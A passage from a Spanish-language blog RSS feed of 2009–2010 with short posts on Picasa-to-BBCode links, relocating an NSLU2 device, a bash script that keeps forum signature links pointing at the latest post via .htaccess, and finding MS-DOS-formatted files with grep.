que de problemas. El producto de este script seria algo así:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
[url=http://picasaweb.google.com/orvtech/Hdd#][img]http://lh6.ggpht.com/_WwtoUQV8M_8/S5kBtkqKAdI/AAAAAAAAPbM/I0LCPdB-qpQ/s400/IMG_7457.JPG[/img][/url]
[url=http://picasaweb.google.com/orvtech/Hdd#][img]http://lh3.ggpht.com/_WwtoUQV8M_8/S5kBtwXW08I/AAAAAAAAPbQ/Y636HBHOxEo/s400/IMG_7458.JPG[/img][/url]
[url=http://picasaweb.google.com/orvtech/Hdd#][img]http://lh5.ggpht.com/_WwtoUQV8M_8/S5kBtzPQLrI/AAAAAAAAPbU/ZOWfnh4uGuA/s400/IMG_7459.JPG[/img][/url]
[url=http://picasaweb.google.com/orvtech/Hdd#][img]http://lh5.ggpht.com/_WwtoUQV8M_8/S5kBuJEzUPI/AAAAAAAAPbY/qxTGuFR_EbA/s400/IMG_7461.JPG[/img][/url]
[url=http://picasaweb.google.com/orvtech/Hdd#][img]http://lh3.ggpht.com/_WwtoUQV8M_8/S5kBupiHjqI/AAAAAAAAPbc/FShn8ryEr54/s400/IMG_7462.JPG[/img][/url]
[url=http://picasaweb.google.com/orvtech/Hdd#][img]http://lh5.ggpht.com/_WwtoUQV8M_8/S5kCW9ags7I/AAAAAAAAPbw/wFYET5XlgkQ/s400/IMG_7463.JPG[/img][/url]
[url=http://picasaweb.google.com/orvtech/Hdd#][img]http://lh5.ggpht.com/_WwtoUQV8M_8/S5kCXA_XujI/AAAAAAAAPb0/WDc3N1tLDCw/s400/IMG_7464.JPG[/img][/url]
[url=http://picasaweb.google.com/orvtech/Hdd#][img]http://lh4.ggpht.com/_WwtoUQV8M_8/S5kCXDnyhkI/AAAAAAAAPb4/SWuagR3LA8c/s400/IMG_7465.JPG[/img][/url]
[url=http://picasaweb.google.com/orvtech/Hdd#][img]http://lh5.ggpht.com/_WwtoUQV8M_8/S5kCXTt6vaI/AAAAAAAAPb8/i1RmMrL5slg/s400/IMG_7466.JPG[/img][/url]
[url=http://picasaweb.google.com/orvtech/Hdd#][img]http://lh5.ggpht.com/_WwtoUQV8M_8/S5kCX8hUk-I/AAAAAAAAPcA/YzOe_0bO0Jw/s400/IMG_7468.JPG[/img][/url]
...
&lt;/pre&gt;
&lt;p&gt;Luego podemos pegar ese código en el foro en el que queramos compartir
nuestras imágenes.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Wed, 17 Mar 2010 18:14:00 -0700</pubDate><guid>tag:orvtech.com,2010-03-17:de-picasa-a-bbcode.html</guid><category>BASH</category><category>Picasa</category></item><item><title>Ha llegado el fin del acceso publico a mi NSLU2?</title><link>http://orvtech.com/ha-llegado-el-fin-del-acceso-publico-a-mi-nslu2.html</link><description>&lt;p&gt;Me entere este fin de semana que el datacenter que aloja mi NSLU2 (la
casa de un amigo que tiene IP publico) va a cerrar y necesito mover el
NSLU2 a otro lado. Esto pasara en los próximo 2 meses así que necesito
empezar a ver a donde muevo mi NSLU2 o que hacer en este caso en vista
de que en mi casa no tengo IP publica.&lt;/p&gt;
&lt;p&gt;[caption id=&amp;quot;attachment_500&amp;quot; align=&amp;quot;alignleft&amp;quot; width=&amp;quot;100&amp;quot;
caption=&amp;quot;NSLU2 sin acceso al publico&amp;quot;]&lt;a class="reference external" href="http://orvtech.info/2010/12/jailed_nslu2.png"&gt;&lt;img alt="NSLU2 en la carcel" src="http://orvtech.info/2010/12/jailed_nslu2.png" /&gt;&lt;/a&gt;[/caption]
La primera idea que se me ocurrió es usar el NSLU2 como un backend o
publicador y hacer un wrapper a NanoBlogger para que al hacer cualquier
tipo de actualización haga un rsync a mi VPS que actuaria como frontend.&lt;/p&gt;
&lt;p&gt;Si tienen cualquier sugerencia me la pueden dejar en los comentarios.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Sun, 14 Mar 2010 23:21:00 -0700</pubDate><guid>tag:orvtech.com,2010-03-14:ha-llegado-el-fin-del-acceso-publico-a-mi-nslu2.html</guid><category>NSLU2</category><category>orvtech</category></item><item><title>Mantén tu firma al día en todos los foros en que participas.</title><link>http://orvtech.com/manten-tu-firma-al-dia-en-todos-los-foros-en-que-participas.html</link><description>&lt;p&gt;Como buen troll que soy me mantengo entretenido y participo en varias
comunidades o foros en internet. siempre quise mantener mi firma
apuntando a mi ultimo articulo publicado pero al mismo tiempo me da
flojera actualizar todos esos foros cada vez que publico algo nuevo.&lt;/p&gt;
&lt;p&gt;Ya que tengo corriendo apache en mi &lt;a class="reference external" href="http://orvtech.com/category/nslu2/"&gt;NSLU2&lt;/a&gt; decidí crear un script que
me cree un archivo .htaccess y así redirigir una petición HTTP en
especifico a mi ultima publicación en mi blog. Para esto he decidido
crear un sub-directorio en mi RootDirectory llamado '/latest'&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;mkdir /var/www/linuxevolution.org/htdocs/latest mkdir /var/www/orvtech.com/htdocs/latest&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;El script hace un poco mas que simplemente crear el htaccess. Me permite
especificar cuales VirtualHost corriendo NanoBlogger quiero usar,
creando un .htaccess para cada uno de estos como se puede ver aquí:&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;#!/bin/bash&lt;/span&gt; &lt;span class="pre"&gt;DocummentRoot=&amp;quot;/var/www/linuxevolution.org/htdocs&lt;/span&gt; /var/www/orvtech.com/htdocs&amp;quot;' for virtualhost in $DocummentRoot do cat $virtualhost/rss.xml&amp;nbsp; | grep link | grep archives |\ head &lt;span class="pre"&gt;-n1&lt;/span&gt; | sed &lt;span class="pre"&gt;-e&lt;/span&gt; :a &lt;span class="pre"&gt;-e&lt;/span&gt; &lt;span class="pre"&gt;'s/&amp;lt;[^&amp;gt;]*&amp;gt;//g;/&amp;lt;/N;//ba'&lt;/span&gt; |\ awk '{print &amp;quot;RewriteEngine on\nRewriteRule &lt;span class="pre"&gt;(.*)&lt;/span&gt; &amp;quot;$0&amp;quot; &lt;span class="pre"&gt;[R=301,L]&amp;quot;}'&lt;/span&gt; &amp;gt; &lt;span class="pre"&gt;$virtualhost/latest/.htaccess&lt;/span&gt; done&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;En mi caso tengo 2 blogs que usan NanoBlogger y este script mantiene el
directorio '/latest/' apuntando a la ultima publicación en cada uno
(&lt;a class="reference external" href="http://www.linuxevolution.org/latest/local"&gt;www.linuxevolution.org/latest&lt;/a&gt; la versión en ingles de este sitio y
&lt;a class="reference external" href="http://orvtech.com/latest/local"&gt;orvtech.com/latest&lt;/a&gt; que seria la entrada mas reciente de este blog).&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Wed, 10 Mar 2010 18:26:00 -0800</pubDate><guid>tag:orvtech.com,2010-03-10:manten-tu-firma-al-dia-en-todos-los-foros-en-que-participas.html</guid><category>BASH</category><category>Scripts</category></item><item><title>Encontrar archivos con formato MS-DOS.</title><link>http://orvtech.com/encontrar-archivos-con-formato-ms-dos.html</link><description>&lt;p&gt;Recientemente tuve un montón de problemas con una aplicación web la cual
fue modificada bajo MS Windows y tenia el formato MS-DOS. Encontré un
montón de errores en los logs de cron el cual corría estos scripts de
perl, para no darle largas a la historia, me toco encontrar todos estos
scripts y modificarlos, como no fui yo quien subió los scripts al
servidor no tenia ni idea de en que subdirectorio podían estar ni
cuantos eran. Aquí esta el script que use para conseguir los archivos:&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;grep &lt;span class="pre"&gt;-IUl&lt;/span&gt; &lt;span class="pre"&gt;--color&lt;/span&gt; '^M' &lt;span class="pre"&gt;-R&lt;/span&gt; ./*&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;Este script generara una lista de archivos que están formateados como
MS-DOS, fácilmente se podría hacer un 'for/while loop' y pasarlos por
alguna aplicación como dos2unix.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Tue, 23 Feb 2010 02:23:00 -0800</pubDate><guid>tag:orvtech.com,2010-02-23:encontrar-archivos-con-formato-ms-dos.html</guid><category>MS-DOS</category><category>Scripts</category><category>tips</category><category>WindowsFail</category></item><item><title>Linux en el NSLU2</title><link>http://orvtech.com/linux-en-el-nslu2.html</link><description>&lt;p&gt;El NSLU2 (conocido como &amp;quot;slug&amp;quot;) se vende como un dispositivo NAS
(Network Attached Storage) pero en realidad es mucho mas útil que un
simple NAS. Es un sistema embedido completo y barato con su firmware
basada en Linux. Lo mejor de todo es que su fabricante (Linksys) usa el
kernel de linux y ha liberado su código lo que trajo como consecuencia
el nacimiento de proyectos llevados por la comunidad como Unslung y
OpenSlug.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Sun, 01 Nov 2009 22:45:00 -0800</pubDate><guid>tag:orvtech.com,2009-11-01:linux-en-el-nslu2.html</guid><category>NSLU2</category></item></channel></rss>